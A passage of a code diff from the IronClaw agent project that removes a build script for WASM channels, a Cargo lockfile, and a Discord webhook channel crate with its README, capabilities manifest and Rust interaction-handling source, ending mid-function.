}
}
}
/// Trait for benchmark suite adapters.
///
/// Each suite (GAIA, Tau-bench, custom, etc.) implements this trait
/// to provide task loading, scoring, and optional lifecycle hooks.
#[async_trait]
pub trait BenchSuite: Send + Sync {
/// Human-readable name (e.g., "GAIA Validation").
fn name(&self) -> &str;
/// Machine ID (e.g., "gaia").
fn id(&self) -> &str;
/// Load all tasks from the suite's data source.
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError>;
/// Score the agent's submission against the expected answer.
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError>;
/// Optional: set up environment before running a task (clone repo, init DB, etc.).
async fn setup_task(&self, _task: &BenchTask) -> Result<(), BenchError> {
Ok(())
}
/// Optional: tear down environment after a task completes.
async fn teardown_task(&self, _task: &BenchTask) -> Result<(), BenchError> {
Ok(())
}
/// Optional: additional tools to register for this suite's tasks.
fn additional_tools(&self) -> Vec<Arc<dyn ironclaw::tools::Tool>> {
vec![]
}
/// Optional: restrict which tools the agent can use (allowlist).
fn tool_whitelist(&self) -> Option<Vec<String>> {
None
}
/// Multi-turn: generate next simulated user message based on conversation so far.
/// Return `None` to end the conversation.
async fn next_user_message(
&self,
_task: &BenchTask,
_conversation: &[ConversationTurn],
) -> Result<Option<String>, BenchError> {
Ok(None)
}
}
-197
View File
@@ -1,197 +0,0 @@
//! Build script: compile Telegram channel WASM from source.
//!
//! Do not commit compiled WASM binaries — they are a supply chain risk.
//! This script builds telegram.wasm from channels-src/telegram before the main crate compiles.
//!
//! Reproducible build:
//! cargo build --release
//! (build.rs invokes the channel build automatically)
//!
//! Prerequisites: rustup target add wasm32-wasip2, cargo install wasm-tools
use std::env;
use std::path::{Path, PathBuf};
use std::process::Command;
fn main() {
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
let root = PathBuf::from(&manifest_dir);
// ── Embed registry manifests ────────────────────────────────────────
embed_registry_catalog(&root);
// ── Build Telegram channel WASM ─────────────────────────────────────
let channel_dir = root.join("channels-src/telegram");
let wasm_out = channel_dir.join("telegram.wasm");
// Rerun when channel source or build script changes
println!("cargo:rerun-if-changed=channels-src/telegram/src");
println!("cargo:rerun-if-changed=channels-src/telegram/Cargo.toml");
println!("cargo:rerun-if-changed=wit/channel.wit");
if !channel_dir.is_dir() {
return;
}
// Build WASM module
let status = match Command::new("cargo")
.args([
"build",
"--release",
"--target",
"wasm32-wasip2",
"--manifest-path",
channel_dir.join("Cargo.toml").to_str().unwrap(),
])
.current_dir(&root)
.status()
{
Ok(s) => s,
Err(_) => {
eprintln!(
"cargo:warning=Telegram channel build failed. Run: ./channels-src/telegram/build.sh"
);
return;
}
};
if !status.success() {
eprintln!(
"cargo:warning=Telegram channel build failed. Run: ./channels-src/telegram/build.sh"
);
return;
}
let raw_wasm = channel_dir.join("target/wasm32-wasip2/release/telegram_channel.wasm");
if !raw_wasm.exists() {
eprintln!(
"cargo:warning=Telegram WASM output not found at {:?}",
raw_wasm
);
return;
}
// Convert to component and strip (wasm-tools)
let component_ok = Command::new("wasm-tools")
.args([
"component",
"new",
raw_wasm.to_str().unwrap(),
"-o",
wasm_out.to_str().unwrap(),
])
.current_dir(&root)
.status()
.map(|s| s.success())
.unwrap_or(false);
if !component_ok {
// Fallback: copy raw module if wasm-tools unavailable
if std::fs::copy(&raw_wasm, &wasm_out).is_err() {
eprintln!("cargo:warning=wasm-tools not found. Run: cargo install wasm-tools");
}
} else {
// Strip debug info (use temp file to avoid clobbering)
let stripped = wasm_out.with_extension("wasm.stripped");
let strip_ok = Command::new("wasm-tools")
.args([
"strip",
wasm_out.to_str().unwrap(),
"-o",
stripped.to_str().unwrap(),
])
.current_dir(&root)
.status()
.map(|s| s.success())
.unwrap_or(false);
if strip_ok {
let _ = std::fs::rename(&stripped, &wasm_out);
}
}
}
/// Collect all registry manifests into a single JSON blob at compile time.
///
/// Output: `$OUT_DIR/embedded_catalog.json` with structure:
/// ```json
/// { "tools": [...], "channels": [...], "bundles": {...} }
/// ```
fn embed_registry_catalog(root: &Path) {
use std::fs;
let registry_dir = root.join("registry");
// Rerun if the bundles file changes (per-file watches for tools/channels
// are emitted inside collect_json_files to track content changes reliably).
println!("cargo:rerun-if-changed=registry/_bundles.json");
let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap());
let out_path = out_dir.join("embedded_catalog.json");
if !registry_dir.is_dir() {
// No registry dir: write empty catalog
fs::write(
&out_path,
r#"{"tools":[],"channels":[],"bundles":{"bundles":{}}}"#,
)
.unwrap();
return;
}
let mut tools = Vec::new();
let mut channels = Vec::new();
// Collect tool manifests
let tools_dir = registry_dir.join("tools");
if tools_dir.is_dir() {
collect_json_files(&tools_dir, &mut tools);
}
// Collect channel manifests
let channels_dir = registry_dir.join("channels");
if channels_dir.is_dir() {
collect_json_files(&channels_dir, &mut channels);
}
// Read bundles
let bundles_path = registry_dir.join("_bundles.json");
let bundles_raw = if bundles_path.is_file() {
fs::read_to_string(&bundles_path).unwrap_or_else(|_| r#"{"bundles":{}}"#.to_string())
} else {
r#"{"bundles":{}}"#.to_string()
};
// Build the combined JSON
let catalog = format!(
r#"{{"tools":[{}],"channels":[{}],"bundles":{}}}"#,
tools.join(","),
channels.join(","),
bundles_raw,
);
fs::write(&out_path, catalog).unwrap();
}
/// Read all .json files from a directory and push their raw contents into `out`.
fn collect_json_files(dir: &Path, out: &mut Vec<String>) {
use std::fs;
let mut entries: Vec<_> = fs::read_dir(dir)
.unwrap()
.filter_map(|e| e.ok())
.filter(|e| {
e.path().is_file() && e.path().extension().and_then(|x| x.to_str()) == Some("json")
})
.collect();
// Sort for deterministic output
entries.sort_by_key(|e| e.file_name());
for entry in entries {
// Emit per-file watch so Cargo reruns when file contents change
println!("cargo:rerun-if-changed={}", entry.path().display());
if let Ok(content) = fs::read_to_string(entry.path()) {
out.push(content);
}
}
}
-401
View File
@@ -1,401 +0,0 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "ahash"
version = "0.8.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
dependencies = [
"cfg-if",
"once_cell",
"version_check",
"zerocopy",
]
[[package]]
name = "anyhow"
version = "1.0.102"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c"
[[package]]
name = "bitflags"
version = "2.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af"
[[package]]
name = "cfg-if"
version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
[[package]]
name = "discord-channel"
version = "0.1.0"
dependencies = [
"serde",
"serde_json",
"wit-bindgen",
]
[[package]]
name = "equivalent"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
[[package]]
name = "hashbrown"
version = "0.14.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
dependencies = [
"ahash",
]
[[package]]
name = "hashbrown"
version = "0.16.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100"
[[package]]
name = "heck"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
[[package]]
name = "id-arena"
version = "2.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954"
[[package]]
name = "indexmap"
version = "2.13.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017"
dependencies = [
"equivalent",
"hashbrown 0.16.1",
"serde",
"serde_core",
]
[[package]]
name = "itoa"
version = "1.0.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
[[package]]
name = "leb128"
version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67"
[[package]]
name = "log"
version = "0.4.29"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
[[package]]
name = "memchr"
version = "2.8.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79"
[[package]]
name = "once_cell"
version = "1.21.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
[[package]]
name = "prettyplease"
version = "0.2.37"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b"
dependencies = [
"proc-macro2",
"syn",
]
[[package]]
name = "proc-macro2"
version = "1.0.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.44"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4"
dependencies = [
"proc-macro2",
]
[[package]]
name = "semver"
version = "1.0.27"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2"
[[package]]
name = "serde"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
dependencies = [
"serde_core",
"serde_derive",
]
[[package]]
name = "serde_core"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
dependencies = [
"serde_derive",
]
[[package]]
name = "serde_derive"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "serde_json"
version = "1.0.149"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
dependencies = [
"itoa",
"memchr",
"serde",
"serde_core",
"zmij",
]
[[package]]
name = "smallvec"
version = "1.15.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
[[package]]
name = "spdx"
version = "0.10.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c3e17e880bafaeb362a7b751ec46bdc5b61445a188f80e0606e68167cd540fa3"
dependencies = [
"smallvec",
]
[[package]]
name = "syn"
version = "2.0.117"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.24"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
[[package]]
name = "unicode-xid"
version = "0.2.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
[[package]]
name = "version_check"
version = "0.9.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
[[package]]
name = "wasm-encoder"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e913f9242315ca39eff82aee0e19ee7a372155717ff0eb082c741e435ce25ed1"
dependencies = [
"leb128",
"wasmparser",
]
[[package]]
name = "wasm-metadata"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "185dfcd27fa5db2e6a23906b54c28199935f71d9a27a1a27b3a88d6fee2afae7"
dependencies = [
"anyhow",
"indexmap",
"serde",
"serde_derive",
"serde_json",
"spdx",
"wasm-encoder",
"wasmparser",
]
[[package]]
name = "wasmparser"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8d07b6a3b550fefa1a914b6d54fc175dd11c3392da11eee604e6ffc759805d25"
dependencies = [
"ahash",
"bitflags",
"hashbrown 0.14.5",
"indexmap",
"semver",
]
[[package]]
name = "wit-bindgen"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6a2b3e15cd6068f233926e7d8c7c588b2ec4fb7cc7bf3824115e7c7e2a8485a3"
dependencies = [
"wit-bindgen-rt",
"wit-bindgen-rust-macro",
]
[[package]]
name = "wit-bindgen-core"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b632a5a0fa2409489bd49c9e6d99fcc61bb3d4ce9d1907d44662e75a28c71172"
dependencies = [
"anyhow",
"heck",
"wit-parser",
]
[[package]]
name = "wit-bindgen-rt"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7947d0131c7c9da3f01dfde0ab8bd4c4cf3c5bd49b6dba0ae640f1fa752572ea"
dependencies = [
"bitflags",
]
[[package]]
name = "wit-bindgen-rust"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4329de4186ee30e2ef30a0533f9b3c123c019a237a7c82d692807bf1b3ee2697"
dependencies = [
"anyhow",
"heck",
"indexmap",
"prettyplease",
"syn",
"wasm-metadata",
"wit-bindgen-core",
"wit-component",
]
[[package]]
name = "wit-bindgen-rust-macro"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "177fb7ee1484d113b4792cc480b1ba57664bbc951b42a4beebe573502135b1fc"
dependencies = [
"anyhow",
"prettyplease",
"proc-macro2",
"quote",
"syn",
"wit-bindgen-core",
"wit-bindgen-rust",
]
[[package]]
name = "wit-component"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b505603761ed400c90ed30261f44a768317348e49f1864e82ecdc3b2744e5627"
dependencies = [
"anyhow",
"bitflags",
"indexmap",
"log",
"serde",
"serde_derive",
"serde_json",
"wasm-encoder",
"wasm-metadata",
"wasmparser",
"wit-parser",
]
[[package]]
name = "wit-parser"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae2a7999ed18efe59be8de2db9cb2b7f84d88b27818c79353dfc53131840fe1a"
dependencies = [
"anyhow",
"id-arena",
"indexmap",
"log",
"semver",
"serde",
"serde_derive",
"serde_json",
"unicode-xid",
"wasmparser",
]
[[package]]
name = "zerocopy"
version = "0.8.39"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "db6d35d663eadb6c932438e763b262fe1a70987f9ae936e60158176d710cae4a"
dependencies = [
"zerocopy-derive",
]
[[package]]
name = "zerocopy-derive"
version = "0.8.39"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4122cd3169e94605190e77839c9a40d40ed048d305bfdc146e7df40ab0f3e517"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "zmij"
version = "1.0.21"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa"
-25
View File
@@ -1,25 +0,0 @@
[package]
name = "discord-channel"
version = "0.2.0"
edition = "2021"
description = "Discord channel for IronClaw"
license = "MIT OR Apache-2.0"
publish = false
[dependencies]
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
wit-bindgen = "0.36"
[lib]
crate-type = ["cdylib"]
[profile.release]
strip = true
opt-level = "s"
lto = true
codegen-units = 1
[workspace]
-121
View File
@@ -1,121 +0,0 @@
# Discord Channel for IronClaw
WASM channel for Discord integration - handle slash commands and button interactions via webhooks.
## Features
- **Slash Commands** - Process Discord slash commands
- **Button Interactions** - Handle button clicks
- **Thread Support** - Respond in threads
- **DM Support** - Handle direct messages
## Setup
1. Create a Discord Application at <https://discord.com/developers/applications>
2. Create a Bot and get the token
3. Set up Interactions URL to point to your IronClaw instance
4. Copy the Application ID and Public Key
5. Store in IronClaw secrets:
```bash
ironclaw secret set discord_bot_token YOUR_BOT_TOKEN
```
**Note:** The `discord_bot_token` secret is the only value read directly by this
Discord channel WASM component. The `discord_app_id` and `discord_public_key`
secrets are used by the IronClaw host (for example, to verify Discord
interaction signatures and manage slash command registration) and are not
accessed from the WASM module itself.
## Discord Configuration
### Register Slash Commands
```bash
curl -X POST \
-H "Authorization: Bot YOUR_BOT_TOKEN" \
-H "Content-Type: application/json" \
https://discord.com/api/v10/applications/YOUR_APP_ID/commands \
-d '{
"name": "ask",
"description": "Ask the AI agent",
"options": [{
"name": "question",
"description": "Your question",
"type": 3,
"required": true
}]
}'
```
### Set Interactions Endpoint
In your Discord app settings, set:
- Interactions Endpoint URL: `https://your-ironclaw.com/webhook/discord`
## Usage Examples
### Slash Command
User types: `/ask question: What is the weather?`
The agent receives:
```text
User: @username
Content: /ask question: What is the weather?
```
### Button Click
When a user clicks a button in a message, the agent receives:
```text
User: @username
Content: [Button clicked] Original message content
```
## Error Handling
If an internal error occurs (e.g., metadata serialization failure), the tool attempts to send an ephemeral message to the user:
```text
❌ Internal Error: Failed to process command metadata.
```
Check the host logs for detailed error information.
## Advanced Usage
### Embeds
To send embeds, include an `embeds` array in the `metadata_json` field of the agent's response. The structure should match the Discord API `embed` object.
## Troubleshooting
### "Invalid Signature"
- Check that `discord_public_key` is set correctly in IronClaw secrets.
- This validation happens on the host before reaching the WASM.
### "401 Unauthorized"
- Check that `discord_bot_token` is set correctly in IronClaw secrets.
- Ensure the bot is added to the server.
### "Interaction Failed"
- The interaction might have timed out (Discord requires a response within 3 seconds).
- The `interactions_endpoint_url` might be unreachable.
## Building
```bash
cd channels-src/discord
cargo build --target wasm32-wasi --release
```
## License
MIT/Apache-2.0
-48
View File
@@ -1,48 +0,0 @@
#!/usr/bin/env bash
# Build the Discord channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - discord.wasm - WASM component ready for deployment
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building Discord channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
# Optimize the component
wasm-tools strip discord.wasm -o discord.wasm
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your bot token to secrets:"
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
@@ -1,62 +0,0 @@
{
"version": "0.2.0",
"wit_version": "0.3.0",
"type": "channel",
"name": "discord",
"description": "Discord Gateway/Webhook channel for handling slash commands, buttons, and messages",
"setup": {
"required_secrets": [
{
"name": "discord_bot_token",
"prompt": "Enter your Discord Bot Token. Find it under Bot > Token in your Discord Application settings.",
"optional": false
},
{
"name": "discord_public_key",
"prompt": "Enter your Discord Application Public Key (found under General Information in your Discord Application settings).",
"optional": false
}
],
"setup_url": "https://discord.com/developers/applications"
},
"capabilities": {
"http": {
"allowlist": [
{ "host": "discord.com", "path_prefix": "/api/v10" }
],
"credentials": {
"discord_bot_token": {
"secret_name": "discord_bot_token",
"location": { "type": "header", "name": "Authorization", "prefix": "Bot " },
"host_patterns": ["discord.com"]
}
},
"rate_limit": {
"requests_per_minute": 60,
"requests_per_hour": 3600
}
},
"secrets": {
"allowed_names": ["discord_bot_token", "discord_*"]
},
"channel": {
"allowed_paths": ["/webhook/discord"],
"allow_polling": false,
"callback_timeout_secs": 45,
"workspace_prefix": "channels/discord/",
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
},
"config": {
"require_signature_verification": true,
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
}
}
-722
View File
@@ -1,722 +0,0 @@
//! Discord Gateway/Webhook channel for IronClaw.
//!
//! This WASM component implements the channel interface for handling Discord
//! interactions via webhooks and sending messages back to Discord.
//!
//! # Features
//!
//! - URL verification for Discord interactions
//! - Slash command handling
//! - Message event parsing (@mentions, DMs)
//! - Thread support for conversations
//! - Response posting via Discord Web API
//! - Automatic message truncation (> 2000 chars)
//!
//! # Security
//!
//! - Signature validation is handled by the host (webhook secrets)
//! - Bot token is injected by host during HTTP requests
//! - WASM never sees raw credentials
wit_bindgen::generate!({
world: "sandboxed-channel",
path: "../../wit/channel.wit",
});
use serde::{Deserialize, Serialize};
use exports::near::agent::channel::{
AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest,
OutgoingHttpResponse, StatusUpdate,
};
use near::agent::channel_host::{self, EmittedMessage};
/// Discord interaction wrapper.
#[derive(Debug, Deserialize)]
struct DiscordInteraction {
/// Interaction type (1=Ping, 2=ApplicationCommand, 3=MessageComponent)
#[serde(rename = "type")]
interaction_type: u8,
/// Interaction ID
id: String,
/// Application ID
application_id: String,
/// Guild ID (if in server)
#[allow(dead_code)] // Part of API payload, currently unused
guild_id: Option<String>,
/// Channel ID
channel_id: Option<String>,
/// Member info (if in server)
member: Option<DiscordMember>,
/// User info (if DM)
user: Option<DiscordUser>,
/// Command data (for slash commands)
data: Option<DiscordCommandData>,
/// Message (for component interactions)
message: Option<DiscordMessage>,
/// Token for responding
token: String,
}
#[derive(Debug, Deserialize, Clone)]
struct DiscordMember {
user: DiscordUser,
#[allow(dead_code)] // Part of API payload, currently unused
nick: Option<String>,
}
#[derive(Debug, Deserialize, Clone)]
struct DiscordUser {
id: String,
username: String,
global_name: Option<String>,
}
#[derive(Debug, Deserialize, Clone)]
struct DiscordCommandData {
#[allow(dead_code)] // Part of API payload, currently unused
id: String,
name: String,
options: Option<Vec<DiscordCommandOption>>,
}
#[derive(Debug, Deserialize, Clone)]
struct DiscordCommandOption {
name: String,
value: serde_json::Value,
}
#[derive(Debug, Deserialize, Clone)]
struct DiscordMessage {
#[allow(dead_code)] // Part of API payload, currently unused
id: String,
content: String,
channel_id: String,
#[allow(dead_code)] // Part of API payload, currently unused
author: DiscordUser,
}
/// Metadata stored with emitted messages for response routing.
#[derive(Debug, Serialize, Deserialize)]
struct DiscordMessageMetadata {
/// Discord channel ID
channel_id: String,
/// Interaction ID for followups
interaction_id: String,
/// Interaction token for responding
token: String,
/// Application ID
application_id: String,
/// Thread ID (for forum threads)
thread_id: Option<String>,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "discord";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct DiscordConfig {
#[serde(default)]
#[allow(dead_code)]
require_signature_verification: bool,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
struct DiscordChannel;
impl Guest for DiscordChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
let config: DiscordConfig = serde_json::from_str(&config_json)
.map_err(|e| format!("Failed to parse config: {}", e))?;
channel_host::log(channel_host::LogLevel::Info, "Discord channel starting");
// Persist owner_id so subsequent callbacks can read it
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
// Persist dm_policy and allow_from for DM pairing
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
Ok(ChannelConfig {
display_name: "Discord".to_string(),
http_endpoints: vec![HttpEndpointConfig {
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: true,
}],
poll: None,
})
}
fn on_http_request(req: IncomingHttpRequest) -> OutgoingHttpResponse {
let body_str = match std::str::from_utf8(&req.body) {
Ok(s) => s,
Err(_) => {
return json_response(400, serde_json::json!({"error": "Invalid UTF-8 body"}));
}
};
let interaction: DiscordInteraction = match serde_json::from_str(body_str) {
Ok(i) => i,
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to parse Discord interaction: {}", e),
);
return json_response(400, serde_json::json!({"error": "Invalid interaction"}));
}
};
match interaction.interaction_type {
// Ping - Discord verification
1 => {
channel_host::log(channel_host::LogLevel::Info, "Responding to Discord ping");
json_response(200, serde_json::json!({"type": 1}))
}
// Application Command (slash command)
2 => {
if handle_slash_command(&interaction) {
json_response(200, serde_json::json!({"type": 5}))
} else {
// Permission denied — ephemeral response
json_response(
200,
serde_json::json!({
"type": 4,
"data": {
"content": "You are not authorized to use this bot.",
"flags": 64
}
}),
)
}
}
// Message Component (buttons, selects)
3 => {
if let Some(ref message) = interaction.message {
handle_message_component(&interaction, message);
}
json_response(200, serde_json::json!({"type": 6}))
}
_ => {
channel_host::log(
channel_host::LogLevel::Warn,
&format!(
"Unknown Discord interaction type: {}",
interaction.interaction_type
),
);
json_response(200, serde_json::json!({"type": 6}))
}
}
}
fn on_poll() {}
fn on_respond(response: AgentResponse) -> Result<(), String> {
let metadata: DiscordMessageMetadata = serde_json::from_str(&response.metadata_json)
.map_err(|e| format!("Failed to parse metadata: {}", e))?;
// Use webhook endpoint for followup
let url = format!(
"https://discord.com/api/v10/webhooks/{}/{}",
metadata.application_id, metadata.token
);
// Truncate content to 2000 characters to comply with Discord limits
let content = truncate_message(&response.content);
let mut payload = serde_json::json!({
"content": content,
});
// Check for embeds in metadata
if let Ok(meta_json) = serde_json::from_str::<serde_json::Value>(&response.metadata_json) {
if let Some(embeds) = meta_json.get("embeds") {
payload["embeds"] = embeds.clone();
}
}
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({
"Content-Type": "application/json"
});
let result = channel_host::http_request(
"POST",
&url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(http_response) => {
if http_response.status >= 200 && http_response.status < 300 {
channel_host::log(channel_host::LogLevel::Debug, "Posted followup to Discord");
Ok(())
} else {
let body_str = String::from_utf8_lossy(&http_response.body);
Err(format!(
"Discord API error: {} - {}",
http_response.status, body_str
))
}
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
fn on_status(_update: StatusUpdate) {}
fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> {
Err("broadcast not yet implemented for Discord channel".to_string())
}
fn on_shutdown() {
channel_host::log(
channel_host::LogLevel::Info,
"Discord channel shutting down",
);
}
}
/// Returns true if the message was emitted, false if permission denied.
fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
let user = interaction
.member
.as_ref()
.map(|m| &m.user)
.or(interaction.user.as_ref());
let user_id = user.map(|u| u.id.clone()).unwrap_or_default();
let user_name = user
.map(|u| {
u.global_name
.as_ref()
.filter(|s| !s.is_empty())
.unwrap_or(&u.username)
.clone()
})
.unwrap_or_default();
// DM if no guild member context (only direct user field set)
let is_dm = interaction.member.is_none();
// Permission check
if !check_sender_permission(
&user_id,
Some(&user_name),
is_dm,
Some(&PairingReplyCtx {
application_id: interaction.application_id.clone(),
token: interaction.token.clone(),
}),
) {
return false;
}
let channel_id = interaction.channel_id.clone().unwrap_or_default();
let command_name = interaction
.data
.as_ref()
.map(|d| d.name.clone())
.unwrap_or_default();
let options = interaction.data.as_ref().and_then(|d| d.options.clone());
let content = if let Some(opts) = options {
let opt_str = opts
.iter()
.map(|o| format!("{}: {}", o.name, o.value))
.collect::<Vec<_>>()
.join(", ");
format!("/{} {}", command_name, opt_str)
